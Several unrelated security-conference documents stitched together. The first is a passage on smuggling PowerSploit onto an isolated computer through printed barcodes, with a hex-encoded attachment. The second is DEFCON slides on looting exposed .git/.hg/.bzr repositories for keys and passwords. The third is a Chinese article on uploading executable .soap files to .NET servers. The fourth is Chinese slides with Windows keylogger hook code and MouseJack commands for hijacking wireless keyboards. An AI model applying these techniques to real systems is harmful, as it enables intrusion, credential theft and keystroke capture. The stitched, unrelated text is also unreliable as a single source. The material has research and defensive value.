232 pages of closely printed and scanned text to be delivered. Mimikatz would need 150
pages. But my main goal was never to deliver a final payload with this method; I intended to
use HexMagic to deliver an executable capable of encoding and decoding printable data at the
pixel level. I called this executable Sideload.
Stage 3: The Big Bar Code and the Sideload DLL
I wanted to pack as much data on to a single page of paper as possible and to do that I needed
every scanned pixel to mean something useful. After considering this problem for a little bit it
didn't take me long to realize this is exactly what QR codes, data matrices, and other well-
known 2-D barcodes already do. I played around with these for a little while to see just how
much data I could squeeze on a single page using traditional 2-D barcodes and ended up with a
number around 25 kB. But, as I studied these bar codes, it was clear they were designed with a
different problem set in mind.
QR codes and their kin are designed to be read by cell phone cameras, or machine vision
systems. They are designed to be scanned at strange orientations, in poor lighting, with
possible physical defacement. Because they are designed for these circumstances, there is a
lot of data area lost to error correction and orientation features. I was in more control of how my
bar codes would be read. I was going to carefully put my bar codes on a high-quality scanner. I
could control the settings of this scanner to get the best possible image. In short, I could expect
far less error than a free-range 2-D bar code would expect. So, I decided to design my own, full
page bar code.
I kept three main features of 2-D bar codes: bit-level encoding, timing lines, and Reed-Solomon
forward error correction. Bit-level encoding simply means that each pixel in the bar code
represents a bit state. A white pixel represents an "on" bit and a black pixel represents an "off"
bit. I laid my bytes out horizontally across the page, 8 pixels per byte, about 88 bytes per pixel
line. These pixel lines represent the "meat" of the bar code, the information the bar code is
trying to get across. Timing lines are extra lines in a known pattern built into a specific location
of a 2-D bar code to help locate the "meat". After some experimentation, I used lines of
alternating light and dark pixels on all four sides of the "meat" of the bar code. An example of
what a completed, full-page Big Bar Code looks like can be seen at attachment 2. Using the
timing marks, I was able to locate and decode the meat in a scanned bar code with a very high
level of success. Typically I was able to decode the bar code with less than 1% error over about
84 kB of encoded data on a scanned page. You can see a heat map of a typical decode trial
below.
Figure 6: Big Bar Code error heat map
Each black pixel represents a successfully decoded bit and the red pixels are missed bits. The
pattern shown is pretty typical. My main takeaway from all of my tests was that there will be
errors and I need to be able to handle them.
That's where Reed-Solomon Forward Error Correction (R-S FEC) comes in. Almost all of the
popular 2-D bar codes out there use R-S FEC to handle this exact situation. Despite their
widespread use, I struggled to find a working, open source R-S FEC C++ library. The vast
majority of the open source R-S libraries out there actually do Forward Erasure Correction and
not Forward Error Correction. Forward Erasure Correction is excellent if some of the data is lost
during transmission but will not help if the data is present and mangled at the bit level, which is
exactly what occurs when reading the Big Bar Code. In the end I wrote my own R-S FEC C++
library with significant help from an excellent python-based tutorial located at:
https://en.wikiversity.org/wiki/Reed%E2%80%93Solomon_codes_for_coders
After I got all the pieces working, I put them together into a library called Sideload. The
Sideload library will take a file, encode it with R-S FEC, split it into one-page Big Bar Code
chunks, and generate a bitmap for each page. These bitmaps can be printed at 72 DPI to just
about fill a 8.5 by 11 inch page from corner to corner. Along the way the Sideload library will
provide the exact file length and calculate the MD5 sum of the original source file.
On the target system, the attacker scans the Big Bar Codes, points the Sideload library at the
resulting image files, and provides the original file length and MD5 sum. Sideload will pull the
data from the images, decode the R-S FEC encoding, and test the resulting binary against the
original MD5 sum. If all goes well, you will have then transferred that arbitrary binary data from
your source machine to your target machine without using magnetic media. For my proof-of-
concept, I bundled the Sideload library into a DLL I could execute from VBA.
The Out-of-Band Proof of Concept
For my POC I wanted to deliver a portion of the PowerSploit tool set to a system without using
magnetic media or downloading it from the network. Here are the steps I took:
1: Create PowerSploit payload zip file
2: Encode payload with Sideload resulting in 3 Big Bar Code sheets to print
3: Print out Hex Magic VBA code
4: Create zip file from Sideload DLL and associated VBA use code
5: Encode the DLL zip file with Hex Magic and print (made about 16 pages)
6: Move to scanner on target system
7: Scan the Hex Magic VBA code
8: Scan the Hex Magic-encoded DLL zip file
9: Scan the 3 Big Bar Codes
10: Move to target computer
11: Put Excel into "attack" mode
12: Convert the Hex Magic VBA scan to text with Adobe OCR
13: Paste the VBA script into Excel, fix as necessary
14: Convert the encoded DLL zip file scan to text with Adobe OCR
15: Load into Excel and decode with Hex Magic script, repairing text as required
16: Unzip the DLL zip file, load the VBA use code into Excel
17: Convert each BBC scan into a PNG using Adobe
18: Set up Sideload VBA script with file names, original file length, and MD5 sum
19: Run script to decode the Big Bar Codes and recover the payload
20: Celebrate!
In practice I was able to complete all of the steps of this POC to deliver about 162 kB of
PowerSploit tools to my target machine in about 15 minutes.
Preventing this Attack
This file transfer vector is a bit difficult to stop since it is using standard office tools in a fairly
standard manner, but it isn't impossible. The most obvious indicator to look for is the Sideload
DLL. As a set code file, it will definitely have a signature that can be detected by anti-virus and
other tools, assuming the attacker doesn't attempt to obfuscate the code or use other AV defeat
methods. You do have to be careful to not limit your scanning to just ".DLL" files. As I stated
previously, VBA can be programmed to call any file as an executable. If you called the file
"Sideload.txt" you could still run it from VBA. The next step has to be monitoring or control of
the printing and scanning resources. If the data or system you are trying to protect is of high-
enough value, then every print job and every scan job should be examined by a reviewer. This
will obviously be manpower intensive, as well as something that slows business productivity, so
it probably isn't a reasonable control for most circumstances. Lastly, somehow preventing VBA
from being turned on in Excel would stop this vector completely. I have not spent any time
figuring out how to do this, but it may be possible.
Areas for Improvement
Improve Big Bar Code decoding: Though I was seeing less than 1% of error in my bit reads
during decoding, the pattern of those errors requires me to use quite a bit of space for R-S FEC
parity bytes to ensure the message goes through. In my POC about 35% of each Big Bar Code
was dedicated to parity meaning I only got about 55 kB of actual data per page (out of a
possible 85 kB). R-S works in 255-byte chunks and I have to provide enough parity to handle
the likely worst case error rate per chunk. If I can drop the number of bit errors per chunk down,
I can dedicate more space to data per bar code. I already did some work in this direction by
adding additional timing lines but I ended up with extra errors I didn't expect. I'm sure, with
more experimentation, I could improve the results.
Use 2^16 R-S FEC: I already mentioned that I had problems finding a working C++ R-S FEC
library. Part of that was because I was being picky. I really wanted a library that worked at the
2^16 level whereas those I did find only worked at 2^8. As I stated above, R-S FEC works in
255 byte chunks, unless you use an underlying field math capable of 2^16. Then you will be
able to work in chunks of 65535 words of 2 bytes each, for a total of 131 kB-sized chunks. This
would be ideal for my application. Currently I'm running at ~35% parity bytes because I have to
handle the worst possible error rate in a 255-byte chunk but I've already stated I can decode a
bar code with < 1% bit error across the whole page. Since the page only holds 85 kB of data, I
would only need 2-3% parity if I was working in 2^16 correction space. This would be a
tremendous improvement.
There's a catch of course. I actually built a 2^16 R-S FEC algorithm and discovered two
problems. First, it is very slow. R-S FEC complexity grows quickly with the size of the code
word, so the increase in code word size slowed my tests down tremendously, especially when I
started using kilobytes of parity. That wouldn't be a huge problem, except for the fact that the
2^16 algorithm simply wasn't working. It would happily error correct in certain locations and not
in others. To help debug this problem I needed to run tests. Every test was taking far too long
to run. In the interests of getting a working POC running, I went back to 2^8. I think I can solve
this problem eventually and greatly improve the data per page ratio.
Use colored pixels: The Big Bar Code only uses 2 colors, so each bit needs its own pixel. If I
used 4 colors I could show 2 bits per pixel and double the data per page ratio. If I could use 16
and get 4 bits per pixel, I could manage ~340 kB of data per page. My experiments in this
direction showed that it might be possible, but it also introduces further decoding errors in to the
process. Printers, even high-quality office laser printers, simply don't cleanly print and clearly
scan a stream of essentially random colors at the pixel level. My 4-color attempt did show some
promise, but the 16-color trial looked fairly hopeless. I also stopped pursuing this path in the
interest of completing a successful POC.
Conclusion
Users that can write code on their machines represent a possible threat to security, it is as
simple as that. What isn't so simple is that every user with access to a standard desktop
productivity suite can write code. A security architect needs to examine the system they are
trying to secure by taking a step away from firewalls and cable separation and fully explore all of
the resources available to an insider.
The Hex Magic, R-S FEC library, and Sideload DLL code will be available on github at:
github.com/richmr
Attachments:
1: Hex encoded file example
2: Full page Big Bar Code example
Attachment 1: File.zip
9##1,504#0304140000000800?67342483463#?3EEA0C0000?41F000009000000526F61726#2E747874A5594#AE?C36169?07C81E#880CA5#4026
8#?3,8?#411201E243?31?0E8214#6249F4934885A4AAACECA23?79?#E?73EE2555AA#2F3696462#F92F8#99F73CFF?E8C318?76C439F4?#C98C?
5093,?9948?1?E2C994?1998#4F#998?906?3F#?CC5A#4#AE3763#C9912F1F45516#817F39333379#C?92E2?99EA7C?9C?714#0?016392417AEC4
E29C,1FA3E?4?#1E#301633FA6CCE29E235AEC36193C7?317F3CF55#624672FC52533##209#780#57#?3A#7F0F?8CE#?27CE2A32EC6573EF2C95C
C68A,62EC4FF#61F56167AF2E8#843C687297A207583378F?7#933721169C153AE7AF943CF44?E009C#F0A4#7E935#84C235?442#18AA8C2FE69?
F7E1,0#654??E65335988FC6C361FAE5880F?7C7C1#9?9##E#456892998186449#2??E#9F98EA#CFAA97F314F#63A89#1#A#84E?898A0F464160#
C4#E,216C807E31F9?F62F83#56888#0#558#14A?6245548A09C27CF#C?873145481#5526?3E?561109C?8?FF50C0?#18A1035CA626CAC52??9F4
##15,F1164C70#77A345C8#A#6E#E8C9467F46180CEC?9F5C7AF5?9539?0FF2648876C219FE72213A4F6?E?66EC34A91?69414FE3CC730C?FE3F7
A4AC,0E4CC089AE10614E##7694457FE94?660?E79852#CF1781A4516#A#CC4909??E959C?AEC0?67430A91C?0CF00?ECC97F63CA6F?C45755EE1
594?,483?1E10F2#9?41F#9F3#0?AF?#742871#332C066F4C3160C#607?C82A3F0?AA7E80198A9F??1E40E??55?F0A6CA0?671A3#3AA#326E881A
9CF#,A2ECA46AE455A??8#4?C0022?FEFC76EF07780#77F894?A#86E47921C8CF30#AE95?AEE19A5?#A#A07FC9E705?7A4474721F5??72244?088
?9C1,FFE3831830A2#CC0C925C5A?AEC?134E#8AC135C#6161F?C??1493?798C73525A?801185E4A53120?CE658F05E5F134?#244F?3A?64740F5
A8F2,2#15#0??E81?54F085F8?9?F?AE?C5FC60F2362F630C1##69A3320C?238C0#0344E1A365F453CC71193779617?5A264#2913?7338601EC37
C8C7,51AE894724EF72807720E42F91868F?949E4C06?091084E9F12F42328172887837514CFC75991045#8C187?19E7?#3AAC6508?64715C43A8
0E14,FC002C4E12F9#E64#3C269F96#2F79?0192470E1AAEA##?E25218A0#0080??8F?#20#1EF4633808#E8F599061?9#4#948#?C?4?F1F197#46
#F7C,8291A81581#398A2E19?8F016A808F7E53309F64333001A#?385FC05064C76801476762A57735#5E7CA28C?F7EF36F061714F0AA15E0?#AF
C602,5??9390?F616E2C54F?153EE354F9#2A97E3A9E4418#0#533300FE82A940372E8#E#?712E778F693?3F7F7?F0FA#2A4034?8?40AC2A94?C6
2878,8E?9E72678718?6F54C3EA8?0670AE77305??5E#4011241F5856C598E395#0806#3AC7#?65F71?CF#5??3A95A?FA90099C0#7C?E0F056467
E18F,263C6FA713419319247418720?4200AFF4C4E03E29C?F352FAE7F986CE06C2E#CCE0#F92#5?24EA62793474#1AC0#3C6632FE63?17830#07
?035,C986193A4C08381F7A7FF5F?6A1526#88C8612E97?E560979#9A5002C183C#A#C72#99#?989F21C084200#?5#024?C20E6#?##45?E?3720F
5?57,F6FE?48?360C4242C?2E8C5E2902A0A228?7CE?23#E?623#5F98FE?5312FE63FAE28?#E?EF78C59A2A6F391#04A3794?577FC5F924628?6?
0EC?,928758AFE88?88#E5A9FFC889A6??#09203887043#5A2?241AF469?51F24?7334#633#7CE39492CE36F#0E6A43A3207EF#?E88ECA14AC1A0
E479,50F16265E05#2441E6#7#31A067E71A81?7AA61?A155AC6911397#C10##104#E#409771500431309377341?EE3F0484#?875079A3E?F0F50
6163,A83CA?5695#07C4?4E53E9?3AE87052?F4A48283EE2848#C4?9#143AF#999F#3?64A404#0#9F187E5?91A428#29EF478C91FEF507A3#0A2?
??1?,896C4F99349FF0A67A31C4233?F?24#1E96748A979841#3C1?8F#?7376?3E5495F3?3#838042FF1?#0?#1F8E6EE6FE97128##29419E#15AE
4080,A550155621C28?4FE164A4EC6AEEEFAA2?F02E47891F717F0?7F81C68A75492A56C917380?F72EE#A4?5?EF#72E08A6E4?672108?#257FF1
80??,9?92445EE1F#5E40?14#FEC651?02FF#9EA95273922?3922592639#077#3743E25169AEC202C717?594327##C86#F8??2A870F917CAF4A9E
2795,8413929#E47C#5#9545F20AE6A??3#70#E34?5C1FE4E0C266553470C4A626409#?1FC9504#5CA7C17#71EA33A40?42F72E8394#3F2AA77??
A#41,0441#2?20A43?#7?6285F970949669C?E73C10AA7523?3?284CCECF35CC5E77E9621#6148782AF366E9A?E0F498825600?7939CE3F84F76E
79?0,47#1EA2C99A5#?AC2998E58E?8265?5#70EFCA8?7E69AC951F?A83792?24FF0EC1#F2EA52186109C9798#33F4F4E9#003877A9993A381A07
#453,#4#EE048C#44176#A?070#4C2060A9?99#?A1A314F067#A#819C274#68#C#FA0F0?#E06588228F9290787202E32#1215##E779C55?734CEE
E893,FEE24008944F781E?7784A#183452A987FA082F9591AE32#0#0892#E368A7#5F33A2FFA55A579FCA2A274#01#7?7#3#5478A923334E?90#?
#??9,6#7449A62AF7F4C96CA151C706#3558FEF5A95A705CC?95?A84E0F70258F?3F1E62?4AA263F7E71122006C73176E?E17E27E11E0E624629A
0A25,2A90#59FA58?F82248E80A6C07C25875#031C85A?#AA982?A5?572F2E8C0?9F6FA403735584815#724E##393424C4#26E473187#9397794C
6#48,E#C071C6F?7535E54C90FF913F7C51FC575F5031#4854E83#AC55CE#?A0EC479941#?ACAA6AC05CA5F#?28?FFCACF7C8?96#4A12917F72?9
2?40,1019F8872E73?FF87F??5?A4758#832#7#F1F40797CAF25CF372C?8163F4??0E5E26#0EF76#227?7F77126?1#741C061F?038?73E55306EA
1C24,62EF9E5355AC45?9E1?503EA6AF55AC5561EF739AF4E58862482?669A9439C43#9C4C3?8C9A91C9615?9EF89C06A0#6?6169A3A09A8A75?1
9A57,53?6?4C844E6419?2346A4C9#520F#F2822F72CC?7AF#17A#40FAC3EC996C752?3FC200?C94E0A?28F70A3?4C990E0F3?1EEC5#8214A511A
0477,63FF97F61E3C26669474978?0301020FEF8364592??#1F72411#30094CCC012017267F#29A960152EF11C07#A15EA42592#A03?5E605E175
73F4,#AE710504#1016AA4F6C7F#5A1#0AF44?F17EA5EC8029F48??007F0#0434#6F7E1C91901#ECF43C67#9720794256F451E05??7F836872115
17??,F2#9346752CA003C93063373#3A93?C90719?A38F78A5A25#547779C4A61#E67#F56543?E4?2#32#3786#3F#157A66F601#55#7053AEA9##
29#6,A?174030A769979165EA08E05E3?AA2469EF??27942E5C0A411E2A?937#8?63#195A401CFE41E37131FF769F9629725AF126?32936F6684E
8#F7,395788E966938E81?055274F5AE7546F056A9818491803914CA51?AE1?36C5FF23E6F177C?36F?3109?144A?#1866#9876F9080503CA7?32
332A,7#E#21#09?F99429A6#570C1CEEE7#5?7EEF3C1F68334E93E#0E75F27F75FE2831F15903EE#EE6C?72F42#8323546C39F30F9062716F1C0E
3#44,C97993859169898F6#2E44F9EE14276546?91212F826#F0CC4450CF#3C#2?4#C#626419A41#8EE233#0A7649A9#66370?1266328CAE80#E?
73#5,E42#3?708E22?1?4AAC102EA?#2#61727884C63?67521CC6C1C89?148232F22?E?3??A74#43?AE22#60?AC?A2500C30576303976?E154E53
2468,597F3288EE139001A4354519F4#5112CEA5C7A3203#A3?9#E?73EC3723E?1421?8?7304?#E5614F32A15AF88A261A66369795C47214F7A2E
25C7,6#225E85E4691E?#1125AE0E2549#C339CC1?AE6?088EC?5#01AF??#6F?E79?671#FA9#FFC3E82005764?6930AF15?79181#5??6?5760?CA
8F94,F60AE2F9CC?94F9C9C16F0?AA1A08459E1E4EE64?23A??##E6C9?E726##3097#88FF3#1274FA4103?1528AE416F6FE64306566A7#3?E?#49
1000,?A8515C61980?01?#4680CEACC7C9?7E27?9?053F549#A7F1E#14146??4046501261609?537CE5F425C6AC1E66?9#C06C9791605F3A#38A1
A1?9,AE94?263?679873593E3E70E08402216E1?6?AC?7530?48614272141866338EC#3917A5E431#5C80#25?34A9C141#EE5278?851329E?67EA
#728,9E25FA2C18?3?863E6?C?FE59#2466#C14E8E3#81F5766AE?690#830AC?3857A?1A65?5C414EEC10657#5F9###2C7377FA5F3E#188#381?2
?9A8,2C?C25EEE198077CA7FE3#54471CF0E130082F?15FA2?1EE9?58177F?8C?ECA?022?36A4?A63?89A8CF7199?64472F10916F192C1F?04?25
0#24,546#12420C16#6?8522A4#C?C0246EAF51F2101?899?5#5C#58A?554274?7E2?0F8950?#6842#F0E7?6617A1737E61E9660051096E8843F0
8365,#F39197E00FA43E?786#10C?9AE0A57F0AA4E7289F69482?CA0504771F9546990038#AC5510#27#6C0#8A?F9A?86A274FAF3?65C74326A?4
474?,?639897008C5FA?1548#9#F7?AE?#03?117AF#683?A078391C?35A70?CC#EC259388E3A6C20F73EC92??4C56AE#38781038C#2F6?A6CC#18
F055,F870A4848573?AF3#6760#EF6##332C50?A406056672E#65C?088F?6##C75A04791?8EE870?0321439E897?9021#9CE7#324??0#F6F72F41
#?34,A33E91633567?F644A?C6#47209F961A47E9?4#97E436#?589#C7907784??85C60957E43FAF1FA#5A25?87A#3858E367E835A94001E984?F
6A31,664F86650607?297045A4EF5E#853?AF3A50781087#67E6#381859?397323969256F?2537C45#F5CF32160F#1AE22?#4F?5F1A62AAF36#64
C?66,926198AA393480F1630?3#92F#?63A4#C9C0AF#7#5#3FC#A04A2C3F?3#189C26498FE?C3F10#C7FF00504#01021400140000000800?67342
2F8A,483463#?3EEA0C0000?41F0000090000000000000001002000000000000000526F61726#2E747874504#0506000000000100010037000000
110?,110?00000000
#C73,
Attachment 2: image.jpg
Md5: 86e96ddc7c9d2c7ee468b1b4db8b234c
Encoded file length: 72384; n = 255, k = 140 | pdf |
DEFCON 19 // Adam Baldwin
Pillaging DVCS
Repos
...for fun and profit
$ whoami
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
@adam_baldwin
Co-Founder of nGenuity
Pentester of webs
evilpacket.net
WTF is DVCS
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
Objectives
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
Identify web accessible repos
Pillage as much info as possible
???
Profit
Alexa top million sites
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
GIT
HG
BZR
GIT: 1498 repos
HG: 312 repos
BZR: 235 repos
Repo Identification
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
GIT: .git/HEAD
HG: .hg/requires
BZR: .bzr/README
http://example.com/.git/HEAD
W3AF Plugin
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
Cloning
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
0. Check for dir browsing
1. Get predictable files
2. List repo files
3. Download references to files
4. Restore the repo (if possible)
Pillaging
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
Platform details (.php, .cgi, etc)
Downloadable files (.old, .sql)
Source Code
Credentials / Certs / API Keys
Pillaging Ideas
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
.sql / .sql.bz2
.pem
config
.bak
.sql.gz
.xls / .xlsx
.ini
.cfg
.tar / .tar.gz
.doc / .docx
.sh
export
htpasswd
private
.qbw / .mny
backup
id_rsa
.pst / .ost
confidential
dump / .dmp
id_dsa
settings
.csv
.txt
Thanks to @flirzan & @quitlahok for some of these!
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
Montage of fail
<- Twitter API
<- Facebook API
<- MySpace API
<- Google API
<- Auth Required?
Nope
Database Passwords
<- SSH Keys
htpasswd ->
Customer
Invoices
Demo
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
The Tool
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
https://github.com/ngenuity/DVCS-Pillage
Questions?
[email protected] // @adam_baldwin
Pillaging DVCS Repos // DEFCON 19 // @adam_baldwin
References
nGenuity:
http://ngenuity-is.com
http://ngenuity-is.com/blog/2011/mar/22/gotta-git-up-to-get-down/
http://ngenuity-is.com/blog/2011/apr/30/git-pillaging-revisited/
Evilpacket:
http://evilpacket.net
W3AF:
http://w3af.sourceforge.net/
DVCS Pillage Toolkit:
http://github.com/ngenuity/dvcs-pillage | pdf |
.NET 下的⼏种可执⾏⽂件
在net中,⽐较常⻅的⼏种脚本后戳名有,aspx,ashx,asmx,svc等等。(asp等其实并不是由net程序去处理)
在net程序中所有未预编译的程序最终都会进⼊BuildManager, System.Web.Compilation.BulidManager 负责
整站的动态编译。
如果开发者在程序根⽬录的 PrecompiledApp.config 中设置了不更新编译内容后,那么最终在 BuildManager
的 GetVPathBuildResultInternal ⽅法中会进⾏判断,如果⽤户设置了禁⽌更新编译内容且此时程序内置变
量 allowBuildInPrecompile 为false(反向为true)。那么就会抛出程序未预编译的异常
不同后戳的程序会交给不同的handler进⾏处理,⽽这些handler最终都会⾛向GetVPathBuildResultInternal,来
判断程序是否需要编译。
⽽⼤多数handler在进⼊GetVPathBuildResultInternal时。对allowBuildInPrecompile的赋值都是false
因此,判断后戳程序是否为可执⾏程序,只需要跟进其处理的handler,看它最终是否会进⼊
GetVPathBuildResultInternal或者⼀些其他动态编译⽅法就可以。
在net.framework框架初始的web.config就定义了⼀些⽂件的处理handler。
⽂件路径:C:\Windows\Microsoft.NET\Framework64{version}\Config\Web.config
如常⻅⼏种⽂件类型所对应的处理handler
aspx -> System.Web.UI.PageHandlerFactory
ashx -> System.Web.UI.SimpleHandlerFactory
asmx -> System.Web.Script.Services.ScriptHandlerFactory
svc -> System.ServiceModel.Activation.HttpHandler
通过初始web.config中可以看到net程序中其实还有很多可执⾏程序的⽂件类型。
如⽐较冷⻔,且鲜为⼈知的⼏种类型:
rem -> System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory
soap -> System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory
xamlx -> System.Xaml.Hosting.XamlHttpHandlerFactory
这⾥主要讲解soap,可⻅rem和soap的处理handler其实是同⼀个,在 HttpRemotingHandlerFactory 的
GetHandler ⽅法中,当请求⽅法为GET且⽂件真实存在时。会先交由 WebServiceHandlerFactory 去处理
⽽后续也会调⽤ GetCompiledType ⽅法进⼊ BulidManager 对⽂件内容进⾏动态编译处理。
soap本身实现的是⼀种远程服务,在写法上,soap和asmx类似。soap需要继承 MarshalByRefObject ,⽽
asmx则继承 WebService
如Demo:
<%@ WebService Language="C#" Class="Test" %>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web.SessionState;
using System.Web.Services;
using System.Xml;
using System.Web.Services.Protocols;
public class Test : MarshalByRefObject
{
[WebMethod(Description="Test")]
public string Chopper(String name) {
return name;
}
}
上传到web根⽬录就可以直接运⾏,因为soap格式的处理在net框架的web.config中就已经声明了。除⽤户⾃
定义了后戳的处理handler或者删掉了不需要使⽤的handler。在net中默认可以使⽤.soap后戳的可执⾏程序
在调⽤上,soap和asmx类似,不过需要有⼀个地⽅需要注意,在⻚⾯提供测试⽅法以及测试的具体请求包是不能
直接调⽤的,需要先在 x.soap?wsdl 中获取到 soapAction .然后加⼊到请求头中。就可正常调⽤相关⽅法。 | pdf |
从键盘钩子木马到无线键鼠套装劫持
演讲人:石冰
2 0 1 8
PART 01
键盘Hack
目录
CONTENTS
PART 02
键盘钩子木马
PART 03
无线键鼠
套装劫持
PART 04
安全建议
01
02
03
04
针对键盘的攻击思路分析
PART
01
键盘Hack
键盘——最常见的输入设备之一
物理键盘
虚拟键盘
机械键盘
ATM机键盘
软键盘
手机键盘
计算机键盘分类
计算机键盘
编码键盘:键盘控制电路的功能
完全靠硬件完成
非编码键盘:键盘控制电路的
功能由硬件和软件共同实现
数字电路 对应按键ASCII码
查询程序
传送程序
译码程序
便于重定义
应用广泛
非编码键盘的短板:键位冲突
搓招搓不出来???
???
Ghost Key——鬼键
为避免送出错误信号而选择忽略信号
键帽
手指按压薄膜式键盘按键的过程
橡胶弹性垫
导电层1
绝缘层
为键帽在按下时提供足够的弹性
负责连通键盘底部的两层薄膜上的触点
导电层2
触点1
触点2
中心圆孔
Q
W
A
S
R1
R2
C1
C2
矩阵示意图
C1
C1
9
9
9
Q
R1
A
R2
9
9
W
S
9
电路图
Q
W
A
S
R1
R2
C1
C2
矩阵示意图
C1
C1
9
9
9
Q
R1
A
R2
9
9
W
S
9
电路图
按下Q键
Q
W
A
S
R1
R2
C1
C2
矩阵示意图
C1
C1
9
9
9
Q
R1
A
R2
9
9
W
S
9
电路图
按下Q、S键
Q
W
A
S
R1
R2
C1
C2
矩阵示意图
C1
C1
9
9
9
Q
R1
A
R2
9
9
W
S
9
电路图
按下Q、W、A键
鬼键
W W
A
S
D
W
A
S
D
U
I
O
搞键盘?
键盘钩子木马
木马程序,后台静默记录
射频信号分析
键鼠&适配器—射频技术通信
New idea
ATM键盘外设攻击—ATM Skimmer
伪装键盘面板
搭配插卡口和针
孔摄像效果更佳
ATM热感摄像机攻击
l 热感摄像机:分辨并记录物体表面温度,生成热
量分布图。
l 人体体温37℃左右,触摸键盘时产生的温度可以
被摄像机捕捉,并根据热量大小判断按键顺序。
l ATM机键盘由塑料改为金属。
ATM BadUSB物理接入
首先得开锁。。。(不适用国内ATM机环境)
Tyupkin木马
Ploutus malware
Triton ATM
钥匙ebay、amazon有售
OS攻击 ATM攻击
xp粘滞键后门案例
传统键盘记录器思路分析
PART
02
键盘钩子木马
Windows系统的地基—“事件驱动”模型
应用程序
应用程序
应用程序
Windows消息队列
系统消息队列
应用程序消息队列
操作系统、应用程序和硬件设备
应用程序
操作系统
I/O设备
消息队列
操作系统能感知输入输出设备的状
态变化,如鼠标单击,按键按下等
不直接处理
封装成Msg,转交应用程序
钩子:拦截系统发
送给其它应用程序
的消息。
Windows下的钩子剖析
线程钩子:只监视指定的线程,
既可以是exe也可以是dll
进程钩子:监视系统中所有线程,
必须是dll
SetWindowsHookEx(int idHook,HOOKPROC lpfn,
HINSTANCE hMod,DWORD dwThreadId)
l 设置钩子: SetWindowsHookEx
l 释放钩子: UnhookWindowsHookEx
l 继续钩子: CallNextHookEx
指定具体ID,表示线程钩子
设置为0,表示全局钩子
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT)lParam;
//a key was pressed
if (wParam == WM_KEYDOWN && nCode == HC_ACTION )
{
DoSomething(key);
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}
key->vkCode
记录用户按键
屏蔽用户按键
修改用户按键
……
int main()
{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, NULL);
MSG msg{ 0 };
//application loop
while (GetMessage(&msg, NULL, 0, 0) != 0);
UnhookWindowsHookEx(keyboardHook);
return 0;
}
int main()
{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, NULL);
MSG msg{ 0 };
//application loop
while (GetMessage(&msg, NULL, 0, 0) != 0);
UnhookWindowsHookEx(keyboardHook);
return 0;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam,
LPARAM lParam)
int main()
{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, NULL);
MSG msg{ 0 };
//application loop
while (GetMessage(&msg, NULL, 0, 0) != 0);
UnhookWindowsHookEx(keyboardHook);
return 0;
}
HHOOK WINAPI SetWindowsHookEx(
_In_ int
idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId );
添加木马行为
静默安装
自我销毁
开机自启
发送邮件
……
PART
03
无线键鼠劫持
射频信号攻击思路分析
无线键鼠套装
有线键鼠
无线键鼠
无线键鼠
蓝牙协议
2.4GHz
应用较广,但范围有限,且不易携带
一般通过USB接口插无线适配器来
使用,键盘和鼠标通过电池供电。
键盘—计算机连接方式
DIN连接器插头
PS/2接口
USB接口
射频攻击
有线键盘
计算机
有线键盘
射频消息
适配器
转化
发送
计算机
存在攻击风险
录制射频信息
射频攻击
有线键盘
计算机
有线键盘
射频消息
适配器
转化
发送
计算机
存在攻击风险
重放射频信息
Let’s do it
测试设备
罗技ComboMK220无线键鼠套装
Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle
l 2.4GHz USB radio dongle
l Nordic Semiconductor nRF24LU1+ 芯片
l 2.4GHz radio communication
l 0dBm output power (1mW)
l 125 radio channels
部署软件环境
l sudo apt-get install sdcc binutils
python python-pip
l sudo pip install -U pip
l sudo pip install -U -I pyusb
l sudo pip install -U platformio
刷新crazyradio pa固件
l git clone https://github.com/bitcraze/crazyradio-firmware
l cd crazyradio-firmware
l python usbtools/launchBootloader.py
l wget https://github.com/bitcraze/crazyradio-firmware/releases/
download/0.53/cradio-pa-0.53.bin
l python usbtools/nrfbootload.py flash cradio-pa-0.53.bin
安装设备驱动
Windows操作系统安装:
通过zadig来安装Crazyradio nRF24LU1+
USB radio dongle硬件设备驱动
遇到Windows不读盘时,可以尝试通过
OSX系统测试或检查U盘是否被刷坏
编译Mousejack Project
l git clone https://github.com/RFStorm/mousejack.git
l cd mousejack
l make
l make install
扫描&嗅探
usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l]
[-p PREFIX] [-d DWELL]
e.g.
cd mousejack-master/
./nrf24-scanner.py -c {1..5}
捕获附近所有设备的数据包
找MAC地址
usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a
ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
e.g.
cd mousejack-master/
./nrf24-sniffer.py -a {mac address}
定向捕获数据包
数据采集&重放&中断
分析击键(鼠标左右键、滑轮,键盘按键)
数据规律,进行重放攻击。
network mapper(Denial of Service)
usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]]
[-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT]
[-r RETRIES]
cd nrf-research-firmware
./nrf24-network-mapper.py -a 61:49:66:82:03
l 简单重放攻击
l 任意数据包构造攻击
